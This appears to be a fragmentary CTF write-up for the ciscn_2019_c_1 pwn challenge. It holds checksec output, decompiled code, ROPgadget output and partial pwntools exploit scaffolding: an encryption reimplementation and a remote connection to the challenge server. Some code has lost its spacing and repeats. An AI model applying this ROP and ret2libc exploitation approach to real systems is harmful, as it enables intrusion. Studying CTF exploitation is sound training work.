[*] '/home/bi0x/\xe6\xa1\x8c\xe9\x9d\xa2/pwn_ctf/ciscn_2019_c_1/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
// local variable allocation has failed, the output may be wrong! int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [rsp+Ch] [rbp-4h]
init(*(_QWORD *)&argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin("Welcome to this Encryption machine\n"); while ( 1 ) { while ( 1 ) { fflush(0LL); v4 = 0; __isoc99_scanf("%d", &v4); getchar(); if ( v4 != 2 ) break; puts("I think you can do it by yourself"); begin("I think you can do it by yourself"); } if ( v4 == 3 ) { puts("Bye!"); return0; } if ( v4 != 1 ) break; encrypt(); begin("%d"); } puts("Something Wrong!"); return0; }
bi0x@ubuntu:~/桌面/pwn_ctf/ciscn_2019_c_1$ ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret' Gadgets information ============================================================ 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c80 : pop r14 ; pop r15 ; ret 0x0000000000400c82 : pop r15 ; ret 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004007f0 : pop rbp ; ret #一个万能的gadget,x64程序基本都存在,pop rdi;ret; 0x0000000000400aec : pop rbx ; pop rbp ; ret 0x0000000000400c83 : pop rdi ; ret 0x0000000000400c81 : pop rsi ; pop r15 ; ret 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b9 : ret 0x00000000004008ca : ret 0x2017 0x0000000000400962 : ret 0x458b 0x00000000004009c5 : ret 0xbf02
defencrypt(payload):#加密与解密相同 s = list(payload) for i in range(len(s)): c = ord(payload[i]) if ( c <= 96or c > 122 ): if ( c <= 64or c > 90 ): if ( c > 47and c <= 57 ): c ^= 0xF else: c ^= 0xE else: c ^= 0xD s[i] = chr(c) return''.join(s)
#sh = remote('node3.buuoj.cn',28115) sh = process('./ciscn_2019_c_1') ciscn = ELF('./ciscn_2019_c_1')
from pwn import * from LibcSearcher import LibcSearcher
defencrypt(payload): s = list(payload) for i in range(len(s)): c = ord(payload[i]) if ( c <= 96or c > 122 ): if ( c <= 64or c > 90 ): if ( c > 47and c <= 57 ): c ^= 0xF else: c ^= 0xE else: c ^= 0xD s[i] = chr(c) return''.join(s)
sh = remote('node3.buuoj.cn',25686) #sh = process('./ciscn_2019_c_1') ciscn = ELF('./ciscn_2019_c_1')